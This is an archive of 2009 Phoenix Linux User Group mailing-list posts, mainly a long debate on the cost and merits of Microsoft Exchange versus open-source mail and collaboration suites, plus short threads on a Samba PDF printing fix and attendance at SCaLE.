Re: OT:Exchange good? - And the flame wars begin (Was:Re: new hotness?)

[JD Austin]

Why do you think TCO of an Asterisk system is HIGHER than shortel or Avaya?
--
JD Austin
Twin Geckos Technology Services LLC
j...@twingeckos.com
480.288.8195x201
http://www.twingeckos.com


P. J. O'Rourke  - "Everybody knows how to raise children, except the people
who have them."

On Fri, Feb 20, 2009 at 2:28 PM, Bryan O'Neal wrote:

> Craig, I think you are missing the point.  So, not to call you out on the
> carpet here but have you ever managed a large enterprise?  If so could you
> please explain your ideal concept of how you manage to keep productivity
> high and cost low without use of any non-free or non-open products?  Take
> Asterisk for example.  I love it but the total cost of ownership is
> outrageously high in comparison to systems like Avaya and ShoreTel.  And
> that is without the incredible ease of integration of systems like ShoreTel
> have with outlook. You bag on Exchange but offer no comparative substitute.
> You complain about the fact it uses AD and how much it costs even though it
> is included free in several flavors of Exchange distribution.  You complain
> about mailbox implementation but seem to think it is the only DB your
> company would be running.  How do you back up your Oracle, MySQL, DB2, or
> Postges systems?  And again with the scanning, it provides it's own free
> scanning system, however it is idiotic to be dinging the bulk of your spam
> scanning on the mail server.  By the time it reaches your server the cost
> of
> resources expended to handle it far outweigh the cost of third party
> scanning.  And the fact that Third party AV scans can be integrated easily
> is not a bad thing, saying so is like saying postfix sucks because you can
> use spamassisen and calmav.  In fact I can use clamAV but it does not
> provide the same level of service for the same maintenance cost of better
> products like Avast.  That said you say the only client is outlook, so my
> question is what server/client system do you have that provides anywhere
> near as much to the party as exchange/outlook?  If you have one I would
> really, really, love to try it out!  But I have not found one.  Certainly
> Cyrus is not it.  And for cost I can put an exchange system in for a 70
> person office with all the clients and servers licensed from scratch with
> AD
> and everything, including the server and my time to set it up for less then
> $1500.  In addition each users outlook costs only $40 and that also
> includes
> all the other MS bundled stuff we have not talked about (Share point,
> etc.).
> And while there are far better solutions for nearly all of it (especially
> MS
> SQL Server) Tell me now.  Can you purchase a server, provide a integrated
> collaborative PIM suite in a single interface providing mail, contacts,
> basic CRM, takes, notes, and journal com tracking for the same price?  If
> so
> I really would like to see it because I have bee hunting for this for
> almost
> 10 years!  I hold fast that Exchange is one of very, very few MS products
> that has a very high ROI.  And, have you every had to integrate a BES with
> something other then Exchange?  Or are you some one who has never managed
> more then a handful of mobile devices.
>
> Now if you're a single person or a company of 5 it is stupid to implement
> exchange. Use Google.  If you're a fleet of sales people who never talk to
> each other and have an independent sales management application, then
> again,
> Exchange is not your option, but for most small campus based businesses
> that
> employ a group of average people who need to communicate easily with their
> teams exchange is your answer.  In the real world your business needs and
> the bottom line dictate the solution, not your personal feelings.  And time
> and time again, for medium business after medium business, Exchange has
> provided.  If you really want we can conger up an average small company
> prototype and each deliver a robust communications plan.  But I think your
> average CFP will pick the exchange plan every time.
>
> And yes one of my three home computers is MS, and yes I run outlook on it
> (Evolution and thunderbird on the other two)  But Outlook is my primary
> PIM.
>
> I find on lists like this I have the fringe voice of pay/proprietary
> software, just like in the business world I am the fringe voice of free and
> open source.  So, I get flamed from both sides.
>
> -Original Message-
> From: plug-discuss-boun...@lists.plug.phoenix.az.us
> [mailto:plug-discuss-boun...@lists.plug.phoenix.az.us] On Behalf Of Craig
> White
> Sent: Friday, February 20, 2009 10:24 AM
> To: Main PLUG discussion list
> Subject: RE: OT:Exchange good? (Was:Re: new hotness?)
>
> On Fri, 2009-02-20 at 09:45 -0700, Bryan O'Neal wrote:
> >  I disagree... Mostly.
> > > - Tough to backup
> > Like any database it needs to be shut down for standard file backups
> > to work properly.  This can be done via a simple script and is not a real
> issue.
> > However the use of back up 

Re: OT:Exchange good

[Craig White]

On Fri, 2009-02-20 at 19:02 -0700, Stephen P Rufle wrote:
> I think one main thing is "Either these things matter to your client or
> they don't.". If there were a base product or a series of products that
> just needed assembling to be as good or better then Exchange. I would
> think a group of people could stitch it all together in a way that would
> be sellable. Unfortunately I think there are some missing pieces.
> 
> I think a big set of use cases would be helpful. The other thing as a
> developer that comes to mind is SVN being a better version of CVS. We
> need free software version of exchange that from its beginnings was
> designed by the hive mind :)
> 
> ex.
> Should be able to be do online backups
> Should be able to run as a cluster of machines so load could be distributed
> ... etc
> 
> 
> What I think is that if there were the equivalent of Apache but in the
> Collaboration space that would be great. All the current players I think
>  are Commercial Open source that means they have investors or
> shareholders to answer to. If there was a solution available I think
> people such as Bryan could advocate using it in place of exchange.
> 
> Did this search
> http://www.google.com/search?hl=en&as_q=exchange+replacements&as_epq=&as_oq=&as_eq=&num=100&lr=&as_filetype=&ft=i&as_sitesearch=&as_qdr=y&as_rights=&as_occt=any&cr=&as_nlo=&as_nhi=&safe=images
> 
> Found
> http://zarafa.com/
> which is different from Zimbra do not know anything about it.
> 
> You also have these companies that have already written a bunch of stuff
> and then decide to open source it. This generally does not work because
> the requirements were gathered by a single company trying to solve a
> problem on their own. I think Mozilla was mired with issues at first for
> some of the same reasons.

I think we are talking apples and oranges here.

While I can appreciate the desire for a turnkey solution - i.e. a
drop-in alternative to Microsoft Exchange Server the predicate is
itself, a compromise in that you are forced to adopt a specific vision,
implementation and rule set that is likely to be less than optimal.

For example, I have seen people who run Zimbra that don't care for the
anti-spam implmentation and then run another box to be the MX for the
server, scan the e-mail and then pass it on to Zimbra which just adds to
the cost. That setup is not untypical of many Exchange Server setups
too. I remember when I used to do 'programming' with Filemaker Pro, the
developer community used to laugh about the 'workarounds' needing
'workarounds' in order to deal with the myriad of things it didn't do
very well. There is no perfect package and if there were, EVERYONE would
use it.

Perhaps the greatest feature of Linux is the ability to employ the parts
and pieces that you choose, i.e. Sendmail/Postfix/Exim/etc. for SMTP,
Dovecot/Cyrus-IMAP/UW-IMAP/etc. for mail delivery and so on. A turnkey
setup doesn't permit much tinkering with these things at all.

There are collaboration packages that are not corporate driven such as
Horde, Kolab, Open-Xchange which are entirely community driven and not
part of a corporate strategy nor subject to a corporate whim and of
course there are many others that were mentioned up-thread that are
offered as 'community' based versions of the commercially supported
products that are undoubtedly built from open source packages.

In a general sense, I think most people 'recommending' commercial
packages are largely unfamiliar with most of the packages out there,
many of which are very good like Kerio or Communigate Pro but the
easiest thing is just to say Exchange Server - it used to be said that
it was always safe to recommend IBM and that now is Microsoft. What
happened was that by giving Outlook away freely, Microsoft got people to
believe what they wanted was to take this program Outlook and make it
groupware. Of course Outlook is crippled in every conceivable way to
make it painful in various insidious ways unless you had Exchange
Server. The fact is that Outlook has always been a high maintenance,
extreme security risk client.

While I can appreciate that some here would love a drop-in admin lite
soup to nuts alternative to Microsoft Exchange Server, that sort of
suggests that the driving force is expedience and somewhat dismissive of
the whole point of open source. Sometimes to be an admin you actually
need to be an admin.

To drive home my point...I typically set up clients with cyrus-imapd
which automatically creates a base folder set, subscribes them to those
folders including 'shared' folders, sets their quota, assigns a basic
setup of server based 'rules', indexes their mailboxes for fast searches
overnight, expires their 'deleted e-mails' automatically after 30 days
and expires their 'SPAMBOX' automatically after 7 days. Exchange Server
can't do most of that and cyrus-imapd is free (well, I've never seen
Exchange Server 2008 and its capabilities).

Craig

Re: OT:Exchange good

[Bryan ONeal]

I will agree with this.

On Fri, 2009-02-20 at 19:02 -0700, Stephen P Rufle wrote:
> I think one main thing is "Either these things matter to your client or
> they don't.". If there were a base product or a series of products that
> just needed assembling to be as good or better then Exchange. I would
> think a group of people could stitch it all together in a way that would
> be sellable. Unfortunately I think there are some missing pieces.
> 
> I think a big set of use cases would be helpful. The other thing as a
> developer that comes to mind is SVN being a better version of CVS. We
> need free software version of exchange that from its beginnings was
> designed by the hive mind :)
> 
> ex.
> Should be able to be do online backups
> Should be able to run as a cluster of machines so load could be distributed
> ... etc
> 
> 
> What I think is that if there were the equivalent of Apache but in the
> Collaboration space that would be great. All the current players I think
>  are Commercial Open source that means they have investors or
> shareholders to answer to. If there was a solution available I think
> people such as Bryan could advocate using it in place of exchange.
> 
> Did this search
> http://www.google.com/search?hl=en&as_q=exchange+replacements&as_epq=&as_oq=&as_eq=&num=100&lr=&as_filetype=&ft=i&as_sitesearch=&as_qdr=y&as_rights=&as_occt=any&cr=&as_nlo=&as_nhi=&safe=images
> 
> Found
> http://zarafa.com/
> which is different from Zimbra do not know anything about it.
> 
> You also have these companies that have already written a bunch of stuff
> and then decide to open source it. This generally does not work because
> the requirements were gathered by a single company trying to solve a
> problem on their own. I think Mozilla was mired with issues at first for
> some of the same reasons.
> 
> > Either these things matter to you or they don't.
> > 
> > Craig
> > 
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Re: OT:Exchange good

[Stephen P Rufle]

I think one main thing is "Either these things matter to your client or
they don't.". If there were a base product or a series of products that
just needed assembling to be as good or better then Exchange. I would
think a group of people could stitch it all together in a way that would
be sellable. Unfortunately I think there are some missing pieces.

I think a big set of use cases would be helpful. The other thing as a
developer that comes to mind is SVN being a better version of CVS. We
need free software version of exchange that from its beginnings was
designed by the hive mind :)

ex.
Should be able to be do online backups
Should be able to run as a cluster of machines so load could be distributed
... etc


What I think is that if there were the equivalent of Apache but in the
Collaboration space that would be great. All the current players I think
 are Commercial Open source that means they have investors or
shareholders to answer to. If there was a solution available I think
people such as Bryan could advocate using it in place of exchange.

Did this search
http://www.google.com/search?hl=en&as_q=exchange+replacements&as_epq=&as_oq=&as_eq=&num=100&lr=&as_filetype=&ft=i&as_sitesearch=&as_qdr=y&as_rights=&as_occt=any&cr=&as_nlo=&as_nhi=&safe=images

Found
http://zarafa.com/
which is different from Zimbra do not know anything about it.

You also have these companies that have already written a bunch of stuff
and then decide to open source it. This generally does not work because
the requirements were gathered by a single company trying to solve a
problem on their own. I think Mozilla was mired with issues at first for
some of the same reasons.

> Either these things matter to you or they don't.
> 
> Craig
> 
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RE: OT:Exchange good? - And the flame wars begin (Was:Re:newhotness?)

[Craig White]

On Fri, 2009-02-20 at 15:47 -0700, Bryan O'Neal wrote:
> $1500 is the cost of the box, the server os, the exchange server, the AD,
> and set up.  The client licenses (aka outlook) run about $40 per user.
> Since set up can be done off the AD controller (including client program
> installation) there is almost no cost associated with it. I have not found a
> way to manage a similar mail application for less in a medium size
> environment.  Remember you have to pay every tech their hourly wage and/or
> loose the productivity of the worker if they are setting up their own
> clients so it is far from free.  The total cost of ownership for things like
> SAMBA are very low, but for products like Asterisk they can be quite high.
> In addition products like qmail are not collaboration suites.  I can not
> search the calendars of 20 people and 3 resources to find compactable
> meeting times and assign group tasks to sub groups of people to be worked
> on, tracked and returned by said meeting then we are not talking about a
> comparable product.  Products like FirstClass have functions like this, but
> are typically more expensive to implement then Exchange (though I am also
> told it is nicer, never used it my self though)

I suppose you can justify whatever you believe to be costs as you see
fit. The SBS version is by intent a hampered product to encourage
adoption - sort of like the drug dealer giving the drugs away until you
get hooked.

> As for the list of features, the mail portion can be replaced by just about
> anything.  Exchange mail is nothing special when it comes to mail, we are
> talking about a collaboration suite and PIM. Meldware Communication Suite
> looks like it may be close, if it added more group functions, tasks, and
> document management associated with cross linked calendar and task items it
> would be very close.

As the various standards have firmed up - especially CalDAV, there is an
explosion of options but if you want to only consider off the shelf
proprietary options, the list is smaller.

> As for the flame comment...  I felt famed by Craig, and I have not had the
> chance to get in a good argument as of late so I will back off the adamant
> position ;)  Especially since the last three companies I consulted for asked
> about exchange and I persuaded them it was not the rite solution for them.
> Don't get me wrong, I would have been happy to take their money and set it
> up, but their were better cost/benefit solutions for them.

I suppose that it may not be possible to disagree with you and your love
for Exchange Server without you feeling flamed. I sought to make 2
points...the first being that the price you talk about is never quite
the price because of the extras that you have to start buying to
integrate things like backup and the second being, if you want to get
beyond vendor lock-in, it's a really poor choice.

> On that note has any one actually worked with Zimbra?  I hear their
> "professional" edition is very nice but their open source version is still
> lacking..  Thoughts?

I haven't used it. Intent is to be a turnkey type product for admin
lite. I think for the most part, all software is lacking and thus would
expect that any version of Zimbra would fit that description.

It's really hard to get past the point Microsoft Exchange Server and
Microsoft Outlook software runs counter to everything that Linux
represents in the market place.

- Proprietary software
- Vendor lock-in
- Unique protocols
- Proprietary add-ons
- Crippleware

Either these things matter to you or they don't.

Craig

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Re: lprng

[Sean Roe]

Hi All,

Well I got it figured out. Bad version of Samba was the culprit.  I
upgraded samba and the issue went away.  I still like lprng though

Thanks,
Sean

On Thu, Feb 19, 2009 at 10:56 PM, Bob Elzer  wrote:
> I'd say it is a print configuration on linux side problem.
>
> Have you tried deleting print on XP and adding it again ?
>
> You haven't mentioned what type of printer you have, and what kind of
> connection.
>
> With CUPS I set up a queue, pick a driver and share the printer, I also have
> a tab for changing printer options. and an info button to tell me about the
> driver and printer.
>
> Any job I print pretty much goes through ghostscript. Not sure if pdf's do
> too.
>
> Are you sure you've picked the correct driver for your printer ?
>
> Which driver did you select ?
>
>
> -Original Message-
> From: plug-discuss-boun...@lists.plug.phoenix.az.us
> [mailto:plug-discuss-boun...@lists.plug.phoenix.az.us] On Behalf Of Sean Roe
> Sent: Thursday, February 19, 2009 8:52 PM
> To: Main PLUG discussion list
> Subject: Re: lprng
>
> well I am back to where I started except now I'm using lprng.  I can print
> text, docs and images from my windows XP pro box  to my printer on my linux
> box, but still no PDFs. huh, well that leads me to think that its a samba
> thing or maybe a mime types thing.  Any comments?
>
> Sean
>
> On Thu, Feb 19, 2009 at 8:31 PM, Craig White  wrote:
>> On Thu, 2009-02-19 at 15:01 -0700, Sean Roe wrote:
>>> the combo of cups and samba wont print pdf correctly so I figure Id
>>> try something else.
>> 
>> I do this frequently and do not have problems doing this.
>>
>> I have many offices printing entirely via cups shared spooler via
>> samba to all of the Windows users and if they couldn't print PDF
>> files, I would surely know.
>>
>> Craig
>>
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Re: DeLUG One has arrived at the Westin.

[Sharkscott]

If I knew how to do that..lol..I forgot my camera, my phone charger,
ugh..LOL

On Fri, Feb 20, 2009 at 12:58 PM, Bob Elzer  wrote:

>  Ooh, Ooh,  send us a live feed :-)
>
>
>  --
> *From:* plug-discuss-boun...@lists.plug.phoenix.az.us [mailto:
> plug-discuss-boun...@lists.plug.phoenix.az.us] *On Behalf Of *Lisa Kachold
> *Sent:* Friday, February 20, 2009 12:44 PM
> *To:* plug-discuss@lists.plug.phoenix.az.us; huerta...@gmail.com
> *Subject:* RE: DeLUG One has arrived at the Westin.
>
> Podcast it for us lusers stuck in Phoenix?
>
> obnosis.com  | wiki.obnosis.com| (503)754-4452
> PLUG  HACKFESTS  2nd
> Saturday Each mo...@noon - 3PM
> --
> Date: Fri, 20 Feb 2009 10:33:22 -0700
> Subject: Re: DeLUG One has arrived at the Westin.
> From: sharksc...@gmail.com
> To: huerta...@gmail.com; plug-discuss@lists.plug.phoenix.az.us
>
> Look for Hans at the LOSA booth, there are at minimum several of us here.
>
> On Fri, Feb 20, 2009 at 9:32 AM,  wrote:
>
> Any other PHX peeps here at SCaLE?
> Sent from my BlackBerry Smartphone provided by Alltel
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>
>
>
>
> --
> Scott Ruecker,
> Editor-in-Chief
> LXer Linux News
>
> "The world doesn't need saving. But the word does, and editing is what
> fights the good fight."
>
> --
> Windows Live™: E-mail. Chat. Share. Get more ways to connect. Check it
> out.
>
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-- 
Scott Ruecker,
Editor-in-Chief
LXer Linux News

"The world doesn't need saving. But the word does, and editing is what
fights the good fight."
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RE: OT:Exchange good? - And the flame wars begin (Was:Re:newhotness?)

[Bryan O'Neal]

$1500 is the cost of the box, the server os, the exchange server, the AD,
and set up.  The client licenses (aka outlook) run about $40 per user.
Since set up can be done off the AD controller (including client program
installation) there is almost no cost associated with it. I have not found a
way to manage a similar mail application for less in a medium size
environment.  Remember you have to pay every tech their hourly wage and/or
loose the productivity of the worker if they are setting up their own
clients so it is far from free.  The total cost of ownership for things like
SAMBA are very low, but for products like Asterisk they can be quite high.
In addition products like qmail are not collaboration suites.  I can not
search the calendars of 20 people and 3 resources to find compactable
meeting times and assign group tasks to sub groups of people to be worked
on, tracked and returned by said meeting then we are not talking about a
comparable product.  Products like FirstClass have functions like this, but
are typically more expensive to implement then Exchange (though I am also
told it is nicer, never used it my self though)

As for the list of features, the mail portion can be replaced by just about
anything.  Exchange mail is nothing special when it comes to mail, we are
talking about a collaboration suite and PIM. Meldware Communication Suite
looks like it may be close, if it added more group functions, tasks, and
document management associated with cross linked calendar and task items it
would be very close.

As for the flame comment...  I felt famed by Craig, and I have not had the
chance to get in a good argument as of late so I will back off the adamant
position ;)  Especially since the last three companies I consulted for asked
about exchange and I persuaded them it was not the rite solution for them.
Don't get me wrong, I would have been happy to take their money and set it
up, but their were better cost/benefit solutions for them.

On that note has any one actually worked with Zimbra?  I hear their
"professional" edition is very nice but their open source version is still
lacking..  Thoughts?

-Original Message-
From: plug-discuss-boun...@lists.plug.phoenix.az.us
[mailto:plug-discuss-boun...@lists.plug.phoenix.az.us] On Behalf Of Bob
Elzer
Sent: Friday, February 20, 2009 3:15 PM
To: 'Main PLUG discussion list'
Subject: RE: OT:Exchange good? - And the flame wars begin
(Was:Re:newhotness?) 

Well here is the list of mail server software for people to check out.
http://en.wikipedia.org/wiki/Comparison_of_mail_servers

And Bryan, I'm not trying to flame you, but I think your argument, points
out exactly why Exchange is not the way to go. I understand you're happy
with it, and it works for you, I'm not trying to make you change it.

But $1500 ?, Is that just the cost of exchange ? What about the Box, and all
the other programs you are citing to help maintain it, and the licenses for
each of those programs based on 70 users. That's $2800 for outlook alone.

You can design mail systems to accomplish all these tasks via linux or MS,
and they will both work, but when it comes down to it, MS will always be a
proprietary system and will cost more to implement. 

On the Linux side you can go all free, or mix and match, sure you may have
to configure more programs.

But once you have a solution working on both sides, it is always going to
cost more to add a user on the MS side than on the linux side.

Like I said before, we don't have a performance benchmark, to even compare.

Why don't we come up with a list, of what features are required for a stand
alone mail server, and compare MS vs Linux solutions, and then compare the
prices of those components. Maybe for a 20 user, 100 user, 500 user system.



-Original Message-
From: plug-discuss-boun...@lists.plug.phoenix.az.us
[mailto:plug-discuss-boun...@lists.plug.phoenix.az.us] On Behalf Of Bryan
O'Neal
Sent: Friday, February 20, 2009 2:28 PM
To: 'Main PLUG discussion list'
Subject: RE: OT:Exchange good? - And the flame wars begin (Was:Re:
newhotness?) 

Craig, I think you are missing the point.  So, not to call you out on the
carpet here but have you ever managed a large enterprise?  If so could you
please explain your ideal concept of how you manage to keep productivity
high and cost low without use of any non-free or non-open products?  Take
Asterisk for example.  I love it but the total cost of ownership is
outrageously high in comparison to systems like Avaya and ShoreTel.  And
that is without the incredible ease of integration of systems like ShoreTel
have with outlook. You bag on Exchange but offer no comparative substitute.
You complain about the fact it uses AD and how much it costs even though it
is included free in several flavors of Exchange distribution.  You complain
about mailbox implementation but seem to think it is the only DB your
company would be running.  How do you back up your Oracle, MySQL, DB2, or
Postges systems?  A

RE: OT:Exchange good? - And the flame wars begin (Was:Re:new hotness?)

[Bryan O'Neal]

Fedora has an AD integration project as well.  I too am very interested. As
for their communications being secret...  I can by that, but I don't think
people would be apposed to using a different client if that is what offers
the best integration with their server.  However I am the first to tell you
the easiest way to bring FOSS into an office is slowly, a few people at a
time, so it does hinder natural migration if the FOSS client can not talk to
exchange well OR the outlook client can not talk to the FOSS server well.
But, outlook as a client is a very well documented application platform, so
you could plug-in your own communication schema into the client to talk to
the server.  This is how a number of private companies worked some really
nice PM and CRM integration with their own back ends and it would be no
different for FOSS, save some one would have to learn .net or VBA ;)

-Original Message-
From: plug-discuss-boun...@lists.plug.phoenix.az.us
[mailto:plug-discuss-boun...@lists.plug.phoenix.az.us] On Behalf Of Stephen
P Rufle
Sent: Friday, February 20, 2009 3:06 PM
To: Main PLUG discussion list
Subject: Re: OT:Exchange good? - And the flame wars begin (Was:Re:new
hotness?)

Would it be fair to say that MS keeps just enough of exchange or its
communication methods secret so that it is hard for others (OSS
projects) to create the same seamless integration available using the MS
native programs without buying a license for the secret technology .

It seems that the $1500 price makes it a great short term investment.
Then there is a constant pull to just use a ms solution because it plugs in
nicely.I see that as being what grates on folks.

Sort of related I heard that upcoming Samba 4 will be able to act as an AD
server will that continue to help with penetration into the enterprise
market?
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RE: OT:Exchange good? - And the flame wars begin (Was:Re:new hotness?)

[Bob Elzer]

That understates it EXACTLY !!! lol
 

-Original Message-
From: plug-discuss-boun...@lists.plug.phoenix.az.us
[mailto:plug-discuss-boun...@lists.plug.phoenix.az.us] On Behalf Of Stephen
P Rufle
Sent: Friday, February 20, 2009 3:06 PM
To: Main PLUG discussion list
Subject: Re: OT:Exchange good? - And the flame wars begin (Was:Re:new
hotness?)

Would it be fair to say that MS keeps just enough of exchange or its
communication methods secret so that it is hard for others (OSS
projects) to create the same seamless integration available using the MS
native programs without buying a license for the secret technology .

It seems that the $1500 price makes it a great short term investment.
Then there is a constant pull to just use a ms solution because it plugs in
nicely.I see that as being what grates on folks.

Sort of related I heard that upcoming Samba 4 will be able to act as an AD
server will that continue to help with penetration into the enterprise
market?
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RE: OT:Exchange good? - And the flame wars begin (Was:Re: new hotness?)

[Bryan O'Neal]

I firmly second that motion.  Particularly ones economical for the very
small and very large enterprises

  _  

From: plug-discuss-boun...@lists.plug.phoenix.az.us
[mailto:plug-discuss-boun...@lists.plug.phoenix.az.us] On Behalf Of Eric
Cope
Sent: Friday, February 20, 2009 3:04 PM
To: Main PLUG discussion list
Subject: Re: OT:Exchange good? - And the flame wars begin (Was:Re: new
hotness?)


I too am interested in a FOSS version of Exchange, so if anyone has any
recommendations, I am all ears.

Eric


On Fri, Feb 20, 2009 at 2:28 PM, Bryan O'Neal 
wrote:


Craig, I think you are missing the point.  So, not to call you out on the
carpet here but have you ever managed a large enterprise?  If so could you
please explain your ideal concept of how you manage to keep productivity
high and cost low without use of any non-free or non-open products?  Take
Asterisk for example.  I love it but the total cost of ownership is
outrageously high in comparison to systems like Avaya and ShoreTel.  And
that is without the incredible ease of integration of systems like ShoreTel
have with outlook. You bag on Exchange but offer no comparative substitute.
You complain about the fact it uses AD and how much it costs even though it
is included free in several flavors of Exchange distribution.  You complain
about mailbox implementation but seem to think it is the only DB your
company would be running.  How do you back up your Oracle, MySQL, DB2, or
Postges systems?  And again with the scanning, it provides it's own free
scanning system, however it is idiotic to be dinging the bulk of your spam
scanning on the mail server.  By the time it reaches your server the cost of
resources expended to handle it far outweigh the cost of third party
scanning.  And the fact that Third party AV scans can be integrated easily
is not a bad thing, saying so is like saying postfix sucks because you can
use spamassisen and calmav.  In fact I can use clamAV but it does not
provide the same level of service for the same maintenance cost of better
products like Avast.  That said you say the only client is outlook, so my
question is what server/client system do you have that provides anywhere
near as much to the party as exchange/outlook?  If you have one I would
really, really, love to try it out!  But I have not found one.  Certainly
Cyrus is not it.  And for cost I can put an exchange system in for a 70
person office with all the clients and servers licensed from scratch with AD
and everything, including the server and my time to set it up for less then
$1500.  In addition each users outlook costs only $40 and that also includes
all the other MS bundled stuff we have not talked about (Share point, etc.).
And while there are far better solutions for nearly all of it (especially MS
SQL Server) Tell me now.  Can you purchase a server, provide a integrated
collaborative PIM suite in a single interface providing mail, contacts,
basic CRM, takes, notes, and journal com tracking for the same price?  If so
I really would like to see it because I have bee hunting for this for almost
10 years!  I hold fast that Exchange is one of very, very few MS products
that has a very high ROI.  And, have you every had to integrate a BES with
something other then Exchange?  Or are you some one who has never managed
more then a handful of mobile devices.

Now if you're a single person or a company of 5 it is stupid to implement
exchange. Use Google.  If you're a fleet of sales people who never talk to
each other and have an independent sales management application, then again,
Exchange is not your option, but for most small campus based businesses that
employ a group of average people who need to communicate easily with their
teams exchange is your answer.  In the real world your business needs and
the bottom line dictate the solution, not your personal feelings.  And time
and time again, for medium business after medium business, Exchange has
provided.  If you really want we can conger up an average small company
prototype and each deliver a robust communications plan.  But I think your
average CFP will pick the exchange plan every time.

And yes one of my three home computers is MS, and yes I run outlook on it
(Evolution and thunderbird on the other two)  But Outlook is my primary PIM.

I find on lists like this I have the fringe voice of pay/proprietary
software, just like in the business world I am the fringe voice of free and
open source.  So, I get flamed from both sides.

-Original Message-
From: plug-discuss-boun...@lists.plug.phoenix.az.us
[mailto:plug-discuss-boun...@lists.plug.phoenix.az.us] On Behalf Of Craig
White
Sent: Friday, February 20, 2009 10:24 AM
To: Main PLUG discussion list
Subject: RE: OT:Exchange good? (Was:Re: new hotness?)

On Fri, 2009-02-20 at 09:45 -0700, Bryan O'Neal wrote:
>  I disagree... Mostly.
> > - Tough to backup
> Like any database it needs to be shut down for standard file backups
> to work properly.  This can be done via 

RE: OT:Exchange good? (Was:Re: new hotness?)

[Bryan O'Neal]

I can concur with a great deal of what your saying.  However I am intrigued
by your statement of "There are many other choices"  I am hoping to find
ones that work well for the very small business and the very large that
provide the same functionality of Exchange, but have not. Do you have a
solution suite that you can recommend?  As for the mail only portion, I can
tell you other systems handle it much better (Personally I like Postfix for
a pure mail solution).  The last time I looked at benchmarks was back in
2006 but I can not find them now.  Exchange was in the lower half of the
companied mail servers. But when you talk exchange mail is really less then
half of the conversation.  But again, as for cost, it is not as bad as you
think.  For small business solutions it can be quite cheep.  This cost
benefit ratio does degrade once you get into the very large enterprises and
you have to really look at how much you are willing to pay for what Exchange
does (and other solutions don't)  Similarly it is far to expensive for the
five person small business by its self.  Which is why it is bundled with SQL
Server, Share Point, Terminal Services, AD, and a ton of other stuff in
their Server 2003 Small Business Edition.  Still for most very small
businesses I encourage outsourcing all their IT needs.

-Original Message-
From: plug-discuss-boun...@lists.plug.phoenix.az.us
[mailto:plug-discuss-boun...@lists.plug.phoenix.az.us] On Behalf Of Bob
Elzer
Sent: Friday, February 20, 2009 12:00 PM
To: 'Main PLUG discussion list'
Subject: RE: OT:Exchange good? (Was:Re: new hotness?)

Exchange works and for now it probably has the best calendar app. But MS
designed it to only work with it's own relatives, It was not designed to
play nice with the rest of the kids on the block.

But the kids on the block, adjusted to play with MS.

When you are done adding up, all the things you need to run an exchange
server, it's just too costly, money and resources. 

There are so many other choices, that don't require all that special stuff,
and in some cases, they may take a little more effort to make them play with
MS, but in the end the money and resources are a lot less, and it works with
everybody.

Also when you talk about adding VM's, that solution works for everything,
not just exchange, so when comparing mail systems that shouldn't be
included.

One thing, I think that has been overlooked, and I don't know if it's ever
been done, is a mail server benchmark.

I'd be interested in knowing, the difference between the mail server, how
much disk space does the mail message take up when stored on the system, how
many messages can they handle per minute, how much load on the cpu do they
each take. I'm sure there are more question too.




-Original Message-
From: plug-discuss-boun...@lists.plug.phoenix.az.us
[mailto:plug-discuss-boun...@lists.plug.phoenix.az.us] On Behalf Of Stephen
Sent: Friday, February 20, 2009 11:21 AM
To: Main PLUG discussion list
Subject: Re: OT:Exchange good? (Was:Re: new hotness?)

I know the 2 bugaboos for excahnge in requirements is Disk IO for large
companies, (not as much an issue in a small sub 1000 users
company) and ram. exchange up to 2003 is a 4gb of ram beastie.

im not sure about the mailbox recovery, but i know it can run on ESXi vm as
long as you have 2 cores and 4gb of ram to give it. we are getting ready to
convert ours to a Virtual machine ill let ppl know the results if they want.

Also excahgne 2007  is fully 64 bit and VM supported as well. we are hoping
to deploy that and migrate soon

but for mailbox recovery im not sure what has changed but i know alot has.
but it is better than it has been in the past (comparing 5.5 to
2k3 personally)

On Fri, Feb 20, 2009 at 11:13 AM, Bob Elzer  wrote:
> Well I haven't used the latest exchange and it's been a while, so 
> maybe you can tell me if they worked around the issues I had with it.
>
> It requires it's own server. On a single core server, it bogged the 
> system down so much, we couldn't run other apps. (granted it's 
> probably best to do that, but when you don't have the budget for it, 
> you have to do)
>
> There's no way to look at the raw email message on the server. Or go 
> through all the mail boxes.
>
> Recovery requires a second machine. From what I remember it was 
> convoluted, but you need a second box.
>
>
> -Original Message-
> From: plug-discuss-boun...@lists.plug.phoenix.az.us
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RE: OT:Exchange good? - And the flame wars begin (Was:Re: newhotness?)

[Bob Elzer]

Well here is the list of mail server software for people to check out.
http://en.wikipedia.org/wiki/Comparison_of_mail_servers

And Bryan, I'm not trying to flame you, but I think your argument, points
out exactly why Exchange is not the way to go. I understand you're happy
with it, and it works for you, I'm not trying to make you change it.

But $1500 ?, Is that just the cost of exchange ? What about the Box, and all
the other programs you are citing to help maintain it, and the licenses for
each of those programs based on 70 users. That's $2800 for outlook alone.

You can design mail systems to accomplish all these tasks via linux or MS,
and they will both work, but when it comes down to it, MS will always be a
proprietary system and will cost more to implement. 

On the Linux side you can go all free, or mix and match, sure you may have
to configure more programs.

But once you have a solution working on both sides, it is always going to
cost more to add a user on the MS side than on the linux side.

Like I said before, we don't have a performance benchmark, to even compare.

Why don't we come up with a list, of what features are required for a stand
alone mail server, and compare MS vs Linux solutions, and then compare the
prices of those components. Maybe for a 20 user, 100 user, 500 user system.



-Original Message-
From: plug-discuss-boun...@lists.plug.phoenix.az.us
[mailto:plug-discuss-boun...@lists.plug.phoenix.az.us] On Behalf Of Bryan
O'Neal
Sent: Friday, February 20, 2009 2:28 PM
To: 'Main PLUG discussion list'
Subject: RE: OT:Exchange good? - And the flame wars begin (Was:Re:
newhotness?) 

Craig, I think you are missing the point.  So, not to call you out on the
carpet here but have you ever managed a large enterprise?  If so could you
please explain your ideal concept of how you manage to keep productivity
high and cost low without use of any non-free or non-open products?  Take
Asterisk for example.  I love it but the total cost of ownership is
outrageously high in comparison to systems like Avaya and ShoreTel.  And
that is without the incredible ease of integration of systems like ShoreTel
have with outlook. You bag on Exchange but offer no comparative substitute.
You complain about the fact it uses AD and how much it costs even though it
is included free in several flavors of Exchange distribution.  You complain
about mailbox implementation but seem to think it is the only DB your
company would be running.  How do you back up your Oracle, MySQL, DB2, or
Postges systems?  And again with the scanning, it provides it's own free
scanning system, however it is idiotic to be dinging the bulk of your spam
scanning on the mail server.  By the time it reaches your server the cost of
resources expended to handle it far outweigh the cost of third party
scanning.  And the fact that Third party AV scans can be integrated easily
is not a bad thing, saying so is like saying postfix sucks because you can
use spamassisen and calmav.  In fact I can use clamAV but it does not
provide the same level of service for the same maintenance cost of better
products like Avast.  That said you say the only client is outlook, so my
question is what server/client system do you have that provides anywhere
